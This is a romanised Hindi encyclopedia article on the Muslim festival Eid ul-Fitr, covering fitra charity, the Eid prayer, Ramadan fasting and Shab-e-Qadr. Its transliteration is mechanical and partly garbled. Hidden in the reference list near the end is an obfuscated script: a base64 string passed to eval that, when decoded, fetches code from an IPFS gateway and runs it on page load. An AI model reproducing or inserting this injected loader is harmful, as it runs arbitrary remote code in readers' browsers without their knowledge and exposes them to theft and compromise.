ईद उल फ़ितर
eed ul fitar
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| anuyayi | muslim, bharatiy |
| uddeshy | is din musalaman kisi pak saf jagah par jise 'eedagah' kahate haian, vahaan ikatthe hokar do rakhat namaz shukrane ki ada karate haian. |
| tithi | ramazan ke bad shavval mahine ke pahale din 'eed' manayi jati hai. |
| utsav | is eed mean musalaman 30 dinoan ke bad pahali bar din mean khana khate haian. upavas ki samapti ki khushi ke alava, is eed mean musalaman allah ka shukriya ada isalie bhi karate haian ki unhoanne mahine bhar ke upavas rakhane ki shakti di. |
| dharmik manyata | eed ke dauran badhiya khane ke atirikt, ne kap de bhi pahane jate haian aur parivar aur dostoan ke bich tohafoan ka adan-pradan hota hai. |
| sanbandhit lekh | eed ul zuha, moharram, namaz, eed ul fitar -nazir akabarabadi |
| fitara | eedagah mean namaz padhane ke lie jane se musalaman log 'fitara' arthath 'jan v mal ka sadaqa' jo har musalaman par farj hota hai, vah gariboan mean baanta jata hai. |
| shabe-qadr | ramazan ke mahine ke akhari das dinoan mean ek rat aisi hai jise shabe-qadr kahate haian. yah rat hazar mahine ki ibadat karane se bhi adhik behatar hoti hai. shabe-qadr ka arth hai, vah rat jisaki qadr ki jae. |
| any janakari | pahala eed ul-fitar paigambar muhammad ne san 624 eesavi mean jang-e-badar ke bad manaya tha. |
eed-ul-fitar musalamanoan ka pavitr tyohar hai. yah ramazan ke 30 din ke pashchat chaand dekh kar doosare din manaya jane vala ek parv vishesh hai.[1] ramazan ke poore mahine mean musalaman roze rakhakar arthath bhookhe-pyase rahakar poora mahina allah ki ibadat mean guzar dete haian. is poore mahine ko allah ki ibadat mean guzar kar jab ve rozoan se farig ho jate haian to chaand ki pahali tarikh arthath jis din chaand dikhaee deta hai, us roz ko chho dakar doosare din eed ka tyohar arthath ‘bahut khushi ka din’ manaya jata hai. is khushi ke din ko eed-ul-fitar kahate haian. thumb|left|eed par gale milate hue
eed-ul-fithr ka arth
'eed-ul-fithr' darasal do shabd haian. 'eed' aur 'fithr'. asal mean 'eed' ke sath 'fithr' ko jo de jane ka ek khas maqasad hai. vah maqasad hai ramazan mean zaroori ki gee rukavatoan ko khatm karane ka ailan. sath hi chhote-b de, amir-garib sabaki eed ho jana. yah nahian ki paise valoan ne, sadhan-sanpann logoan ne rangarang, t dak-bh dak ke sath tyohar mana liya v garib-guraba muanh dekhate rah ge. shabd 'fithr' ke mayane chirane, chak karane ke haian aur eed-ul-fithr un tamam rukavatoan ko bhi chak kar deti hai, jo ramazan mean laga di gee thian. jaise ramazan mean din ke samay khana-pina v any kee batoan se rok diya jata hai. eed ke bad ap samany dinoan ki tarah din mean kha-pi sakate haian.[2]
fitara
eed-ul-fithr athava 'eed-ul-fitr' is bat ka ailan hai ki allah ki taraf se jo pabandiyaan mahe-ramazan mean tum par lagaee gee thian, ve ab khatm ki jati haian. isi fitr se 'fitara' bana hai. fitra yani vah raqam jo khate-pite, sadhan sanpann gharanoan ke log arthik roop se kamazor logoan ko dete haian. eed ki namaz se pahale isaka ada karana zaroori hota hai. is tarah amir ke sath hi garib ki, sadhan sanpann ke sath sadhanavihin ki eed bhi man jati hai. asal mean eed se pahale yani ramajan mean zakat ada karane ki paranpara hai. yah zakat bhi gariboan, bevaoan v yatimoan ko di jati hai. isake sath fitre ki raqam bhi unhian ka hissa hai. is sabake pichhe soch yahi hai ki eed ke din koee khali hath n rahe, kyoanki yah khushi ka din hai.[2] [[chitr:Eid-ul fitr-2.jpg|thumb|left|eed par namaz padhate log]]
kaise manate haian?
eed ka tyohar b di dhoomadham se manaya jata hai. is din musalaman kisi pak saf jagah par jise 'eedagah' kahate haian, vahaan ikatthe hokar do rakhat namaz shukrane ki ada karate haian. 'e allah, apaka shukriya ki apane hamari ibadat kabool ki.' isake shukrane mean ham do rakhat eed ki namaz padh rahe haian. ap ise qabool bhi karean. eed ki namaz ka hukm bhi allah tala ki taraph se hai. eedagah mean namaz padhane ke lie jane se musalaman log 'fitara' arthath 'jan v mal ka sadaqa' jo har musalaman par farj hota hai, vah gariboan mean baanta jata hai. sadaqa allah ne gariboan ki imadad ka ek tariqa sikha diya hai. garib adami bhi is imadad se saf aur naye kap de pahanakar aur apana manapasand khana khakar apani eed mana sakate haian. amir-garib ek sath milakar namaz padh sakate haian.
roza kya hai?
- REDIRECTsaancha:mukhy
quran sharif ke shabdoan mean 'e eeman valoan, hamane tum par roze pak kar diye haian, jaisa ki tumane pichhali ummatoan (anuyayiyoan) par farj kie the taki tum muttafiq arthath faramabaradar ban jao. yah ginati ke chand din haian agar tum mean se koee mariz hai ya safar mean hai, to us vaqt roze chho dakar eed ke bad mean apane roze poore kar sakata hai. ramazan ke poore mahine mean muslim log bhookhe-pyase rahakar aur indriyoan par niyantran rakhakar allah ki ibadat karate haian. vah shabe-qadr ki rat ko sari rat jag kar allah ki ibadat karate haian.
ramazan kya hai?
- REDIRECTsaancha:mukhy
ramazan mahine ka nam hai, jis prakar hindi mahine chaitr, vaishakh, jyeshth, ashadh, savan, bhadrapad, ashvin, kartik, agahan, paush, magh, phalgun hote haian aur aangrezi mahine janavari, faravari, march, aprॅl, mee, joon, julaee, agast, sitanbar, aktoobar, navanbar, disanbar hote haian . usi prakar, muslim mahine, muharram, safar, rabiul avval, rabiul akhir, jamadi-ul-avval, jamadi-ul-akhir, rajab, shaban, ramazan, shavval, zilaqad, zilahijj ye barah mahine ate haian.
shabe-qadr
ramazan ke mahine mean allah ki taraf se hazarat mohammad sahab sallaho alahai v sallam par quran sharif nazil (utara) tha. is mahine ki barakat mean allah ne bataya ki isamean mere bande meri ibadat karean. is mahine ke akhari das dinoan mean ek rat aisi hai jise shabe-qadr kahate haian. 21, 23, 25, 27, 29 vean mean shabe-qadr ko talash karate haian. yah rat hazar mahine ki ibadat karane se bhi adhik behatar hoti hai. shabe-qadr ka arth hai, vah rat jisaki qadr ki jae. yah rat jag kar allah ki ibadat mean guzar di jati hai.
khushi ka din
[[chitr:Fenni-mathura.jpg|thumb|220px|feni banati huee, mathura]] yah khushi khasataur se isalie bhi hai ki ramazan ka mahina jo ek tarah se pariksha ka mahina hai, vah allah ke nek bandoan ne poori aqidat (shraddha), eemanadari v lagan se allah ke huqmoan par chalane mean guzara. is k di ajamaish ke bad ka tohafa eed hai. pustakoan mean aya hai ki ramazan mean poore roze rakhane vale ka tohafa eed hai. is din allah ki rahamat poore josh par hoti hai tatha apana huqm poora karane vale bandoan ko rahamatoan ki barish se bhigo deti hai. allah pak ramazan ki ibadatoan ke badale apane nek bandoan ko bakhshe jane ka ailan farama dete haian. eed ki namaz ke jarie bande khuda ka shukr ada karate haian ki usane hi hamean ramazan ka pak mahina ata kiya, phir usamean ibadatean karane ki taufik di aur isake bad eed ka tohafa diya. tab banda apane mabood (poojy) ke darabar mean pahuanchakar usaka shukr ada karata hai. sahi mayanoan mean to ye mannatean poori hone ka din hai. in mannatoan ke sath to oopar vale ke samane sabhi mangate banane ko taiyar ho jate haian. us rahimo-karim (atyant kripavan) ki asim rahamatoan ki as lekar ek mah tak musalasal imtihan dete rahe. koshish karate rahe ki usane jo adesh die haian unhean har hal mean poora karate rahean. chahe vah rozoan ki shakl mean ho, sahari ya iftar ki shakl mean. taravih ki shakl mean ya jakat-fitre ki shakl mean. in mangatoan ne apani himmat ke mutabiq amal kiya, ab eed ke din sare sansar ka palanahar unako navajega.[2]
- REDIRECTsaancha:inhean bhi dekhean
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tika tippani aur sandarbh
- ↑ pauranik kosh |lekhak: rana prasad sharma |prakashak: jnanamandal limited, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 562, parishisht 'gh' |
- ↑ 2.0 2.1 2.2 eed-ul-phitr : muradean poori hone ka din (hiandi) vebaduniya hiandi. abhigaman tithi: 8 agast, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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